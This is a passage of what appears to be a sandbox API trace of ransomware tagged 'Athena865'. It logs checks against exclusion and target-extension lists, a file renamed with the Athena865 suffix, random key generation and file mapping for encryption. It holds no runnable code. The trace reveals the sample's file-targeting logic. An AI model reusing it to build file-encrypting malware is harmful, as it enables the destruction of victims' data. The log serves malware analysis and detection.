-1 [0120.460] lstrlenW (lpString="rctd") returned 4 [0120.460] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0120.460] lstrlenW (lpString="rod") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0120.460] lstrlenW (lpString="rodx") returned 4 [0120.460] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0120.460] lstrlenW (lpString="rpd") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0120.460] lstrlenW (lpString="rsd") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0120.460] lstrlenW (lpString="sas7bdat") returned 8 [0120.460] lstrcmpiW (lpString1="p100.dll", lpString2="sas7bdat") returned -1 [0120.460] lstrlenW (lpString="sbf") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0120.460] lstrlenW (lpString="scx") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0120.460] lstrlenW (lpString="sdb") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0120.460] lstrlenW (lpString="sdc") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0120.460] lstrlenW (lpString="sdf") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0120.460] lstrlenW (lpString="sis") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0120.460] lstrlenW (lpString="spq") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0120.460] lstrlenW (lpString="te") returned 2 [0120.461] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0120.461] lstrlenW (lpString="teacher") returned 7 [0120.461] lstrcmpiW (lpString1="100.dll", lpString2="teacher") returned -1 [0120.461] lstrlenW (lpString="tmd") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0120.461] lstrlenW (lpString="tps") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0120.461] lstrlenW (lpString="trc") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.461] lstrlenW (lpString="trc") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.461] lstrlenW (lpString="trm") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0120.461] lstrlenW (lpString="udb") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0120.461] lstrlenW (lpString="udl") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0120.461] lstrlenW (lpString="usr") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0120.461] lstrlenW (lpString="v12") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0120.461] lstrlenW (lpString="vis") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0120.461] lstrlenW (lpString="vpd") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0120.461] lstrlenW (lpString="vvv") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0120.461] lstrlenW (lpString="wdb") returned 3 [0120.461] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0120.462] lstrlenW (lpString="wmdb") returned 4 [0120.462] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0120.462] lstrlenW (lpString="wrk") returned 3 [0120.462] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0120.462] lstrlenW (lpString="xdb") returned 3 [0120.462] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0120.462] lstrlenW (lpString="xld") returned 3 [0120.462] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0120.462] lstrlenW (lpString="xmlff") returned 5 [0120.462] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0120.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.Athena865") returned 80 [0120.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.athena865"), dwFlags=0x1) returned 1 [0120.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.464] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8154984) returned 1 [0120.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.464] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.465] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.465] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.465] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c7270, lpName=0x0) returned 0x17c [0120.466] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1c7270) returned 0x2d50000 [0120.530] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0120.660] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0120.684] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.685] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.685] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.686] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0120.726] CloseHandle (hObject=0x17c) returned 1 [0120.726] CloseHandle (hObject=0x154) returned 1 [0120.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.736] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0120.736] lstrcmpiW (lpString1="msolui100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.736] lstrcmpiW (lpString1="msolui100.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.736] lstrcmpiW (lpString1="msolui100.dll", lpString2=".") returned 1 [0120.736] lstrcmpiW (lpString1="msolui100.dll", lpString2="..") returned 1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="windows") returned -1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootmgr") returned 1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="temp") returned -1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="pagefile.sys") returned -1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="boot") returned 1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="ids.txt") returned 1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="ntuser.dat") returned -1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="perflogs") returned -1 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2="MSBuild") returned 1 [0120.737] lstrlenW (lpString="msolui100.dll") returned 13 [0120.737] lstrcpyW (in: lpString1=0x241e8ba, lpString2="msolui100.dll" | out: lpString1="msolui100.dll") returned="msolui100.dll" [0120.737] lstrlenW (lpString="msolui100.dll") returned 13 [0120.737] lstrlenW (lpString="Athena865") returned 9 [0120.737] lstrcmpiW (lpString1="ui100.dll", lpString2="Athena865") returned 1 [0120.737] lstrlenW (lpString=".dll") returned 4 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2=".dll") returned 1 [0120.737] lstrlenW (lpString=".lnk") returned 4 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2=".lnk") returned 1 [0120.737] lstrlenW (lpString=".ini") returned 4 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2=".ini") returned 1 [0120.737] lstrlenW (lpString=".sys") returned 4 [0120.737] lstrcmpiW (lpString1="msolui100.dll", lpString2=".sys") returned 1 [0120.737] lstrlenW (lpString="msolui100.dll") returned 13 [0120.737] lstrlenW (lpString="bak") returned 3 [0120.737] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0120.737] lstrlenW (lpString="ba_") returned 3 [0120.737] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0120.737] lstrlenW (lpString="dbb") returned 3 [0120.737] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0120.737] lstrlenW (lpString="vmdk") returned 4 [0120.738] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0120.738] lstrlenW (lpString="rar") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0120.738] lstrlenW (lpString="zip") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0120.738] lstrlenW (lpString="tgz") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0120.738] lstrlenW (lpString="vbox") returned 4 [0120.738] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0120.738] lstrlenW (lpString="vdi") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0120.738] lstrlenW (lpString="vhd") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0120.738] lstrlenW (lpString="vhdx") returned 4 [0120.738] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0120.738] lstrlenW (lpString="avhd") returned 4 [0120.738] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0120.738] lstrlenW (lpString="db") returned 2 [0120.738] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0120.738] lstrlenW (lpString="db2") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0120.738] lstrlenW (lpString="db3") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0120.738] lstrlenW (lpString="dbf") returned 3 [0120.738] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0120.739] lstrlenW (lpString="mdf") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0120.739] lstrlenW (lpString="mdb") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0120.739] lstrlenW (lpString="sql") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0120.739] lstrlenW (lpString="sqlite") returned 6 [0120.739] lstrcmpiW (lpString1="00.dll", lpString2="sqlite") returned -1 [0120.739] lstrlenW (lpString="sqlite3") returned 7 [0120.739] lstrcmpiW (lpString1="100.dll", lpString2="sqlite3") returned -1 [0120.739] lstrlenW (lpString="sqlitedb") returned 8 [0120.739] lstrcmpiW (lpString1="i100.dll", lpString2="sqlitedb") returned -1 [0120.739] lstrlenW (lpString="xml") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0120.739] lstrlenW (lpString="$er") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0120.739] lstrlenW (lpString="4dd") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0120.739] lstrlenW (lpString="4dl") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0120.739] lstrlenW (lpString="^^^") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0120.739] lstrlenW (lpString="abs") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0120.739] lstrlenW (lpString="abx") returned 3 [0120.739] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0120.740] lstrlenW (lpString="accdb") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0120.740] lstrlenW (lpString="accdc") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0120.740] lstrlenW (lpString="accde") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0120.740] lstrlenW (lpString="accdr") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0120.740] lstrlenW (lpString="accdt") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0120.740] lstrlenW (lpString="accdw") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0120.740] lstrlenW (lpString="accft") returned 5 [0120.740] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0120.740] lstrlenW (lpString="adb") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.740] lstrlenW (lpString="adb") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.740] lstrlenW (lpString="ade") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0120.740] lstrlenW (lpString="adf") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0120.740] lstrlenW (lpString="adn") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0120.740] lstrlenW (lpString="adp") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0120.740] lstrlenW (lpString="alf") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0120.740] lstrlenW (lpString="ask") returned 3 [0120.740] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0120.741] lstrlenW (lpString="btr") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0120.741] lstrlenW (lpString="cat") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0120.741] lstrlenW (lpString="cdb") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0120.741] lstrlenW (lpString="ckp") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0120.741] lstrlenW (lpString="cma") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0120.741] lstrlenW (lpString="cpd") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0120.741] lstrlenW (lpString="dacpac") returned 6 [0120.741] lstrcmpiW (lpString1="00.dll", lpString2="dacpac") returned -1 [0120.741] lstrlenW (lpString="dad") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0120.741] lstrlenW (lpString="dadiagrams") returned 10 [0120.741] lstrcmpiW (lpString1="lui100.dll", lpString2="dadiagrams") returned 1 [0120.741] lstrlenW (lpString="daschema") returned 8 [0120.741] lstrcmpiW (lpString1="i100.dll", lpString2="daschema") returned 1 [0120.741] lstrlenW (lpString="db-journal") returned 10 [0120.741] lstrcmpiW (lpString1="lui100.dll", lpString2="db-journal") returned 1 [0120.741] lstrlenW (lpString="db-shm") returned 6 [0120.741] lstrcmpiW (lpString1="00.dll", lpString2="db-shm") returned -1 [0120.741] lstrlenW (lpString="db-wal") returned 6 [0120.741] lstrcmpiW (lpString1="00.dll", lpString2="db-wal") returned -1 [0120.741] lstrlenW (lpString="dbc") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0120.741] lstrlenW (lpString="dbs") returned 3 [0120.741] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0120.742] lstrlenW (lpString="dbt") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0120.742] lstrlenW (lpString="dbv") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0120.742] lstrlenW (lpString="dbx") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0120.742] lstrlenW (lpString="dcb") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0120.742] lstrlenW (lpString="dct") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0120.742] lstrlenW (lpString="dcx") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0120.742] lstrlenW (lpString="ddl") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0120.742] lstrlenW (lpString="dlis") returned 4 [0120.742] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0120.742] lstrlenW (lpString="dp1") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0120.742] lstrlenW (lpString="dqy") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0120.742] lstrlenW (lpString="dsk") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0120.742] lstrlenW (lpString="dsn") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0120.742] lstrlenW (lpString="dtsx") returned 4 [0120.742] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0120.742] lstrlenW (lpString="dxl") returned 3 [0120.742] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0120.743] lstrlenW (lpString="eco") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0120.743] lstrlenW (lpString="ecx") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0120.743] lstrlenW (lpString="edb") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0120.743] lstrlenW (lpString="epim") returned 4 [0120.743] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0120.743] lstrlenW (lpString="fcd") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0120.743] lstrlenW (lpString="fdb") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0120.743] lstrlenW (lpString="fic") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0120.743] lstrlenW (lpString="flexolibrary") returned 12 [0120.743] lstrcmpiW (lpString1="solui100.dll", lpString2="flexolibrary") returned 1 [0120.743] lstrlenW (lpString="fm5") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0120.743] lstrlenW (lpString="fmp") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0120.743] lstrlenW (lpString="fmp12") returned 5 [0120.743] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0120.743] lstrlenW (lpString="fmpsl") returned 5 [0120.743] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0120.743] lstrlenW (lpString="fol") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0120.743] lstrlenW (lpString="fp3") returned 3 [0120.743] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0120.743] lstrlenW (lpString="fp4") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0120.744] lstrlenW (lpString="fp5") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0120.744] lstrlenW (lpString="fp7") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0120.744] lstrlenW (lpString="fpt") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0120.744] lstrlenW (lpString="frm") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0120.744] lstrlenW (lpString="gdb") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.744] lstrlenW (lpString="gdb") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.744] lstrlenW (lpString="grdb") returned 4 [0120.744] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0120.744] lstrlenW (lpString="gwi") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0120.744] lstrlenW (lpString="hdb") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0120.744] lstrlenW (lpString="his") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0120.744] lstrlenW (lpString="ib") returned 2 [0120.744] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0120.744] lstrlenW (lpString="idb") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0120.744] lstrlenW (lpString="ihx") returned 3 [0120.744] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0120.744] lstrlenW (lpString="itdb") returned 4 [0120.745] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0120.745] lstrlenW (lpString="itw") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0120.745] lstrlenW (lpString="jet") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0120.745] lstrlenW (lpString="jtx") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0120.745] lstrlenW (lpString="kdb") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0120.745] lstrlenW (lpString="kexi") returned 4 [0120.745] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0120.745] lstrlenW (lpString="kexic") returned 5 [0120.745] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0120.745] lstrlenW (lpString="kexis") returned 5 [0120.745] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0120.745] lstrlenW (lpString="lgc") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0120.745] lstrlenW (lpString="lwx") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0120.745] lstrlenW (lpString="maf") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0120.745] lstrlenW (lpString="maq") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0120.745] lstrlenW (lpString="mar") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0120.745] lstrlenW (lpString="marshal") returned 7 [0120.745] lstrcmpiW (lpString1="100.dll", lpString2="marshal") returned -1 [0120.745] lstrlenW (lpString="mas") returned 3 [0120.745] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0120.745] lstrlenW (lpString="mav") returned 3 [0120.746] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0120.746] lstrlenW (lpString="maw") returned 3 [0120.746] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0120.746] lstrlenW (lpString="mdbhtml") returned 7 [0120.746] lstrcmpiW (lpString1="100.dll", lpString2="mdbhtml") returned -1 [0120.746] lstrlenW (lpString="mdn") returned 3 [0120.746] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0120.746] lstrlenW (lpString="mdt") returned 3 [0120.746] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0120.746] lstrlenW (lpString="mfd") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0120.747] lstrlenW (lpString="mpd") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0120.747] lstrlenW (lpString="mrg") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0120.747] lstrlenW (lpString="mud") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0120.747] lstrlenW (lpString="mwb") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0120.747] lstrlenW (lpString="myd") returned 3 [0120.747] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0120.748] lstrlenW (lpString="ndf") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0120.748] lstrlenW (lpString="nnt") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0120.748] lstrlenW (lpString="nrmlib") returned 6 [0120.748] lstrcmpiW (lpString1="00.dll", lpString2="nrmlib") returned -1 [0120.748] lstrlenW (lpString="ns2") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0120.748] lstrlenW (lpString="ns3") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0120.748] lstrlenW (lpString="ns4") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0120.748] lstrlenW (lpString="nsf") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0120.748] lstrlenW (lpString="nv") returned 2 [0120.748] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0120.748] lstrlenW (lpString="nv2") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0120.748] lstrlenW (lpString="nwdb") returned 4 [0120.748] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0120.748] lstrlenW (lpString="nyf") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0120.748] lstrlenW (lpString="odb") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.748] lstrlenW (lpString="odb") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.748] lstrlenW (lpString="oqy") returned 3 [0120.748] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0120.748] lstrlenW (lpString="ora") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0120.749] lstrlenW (lpString="orx") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0120.749] lstrlenW (lpString="owc") returned 3 [0120.749] 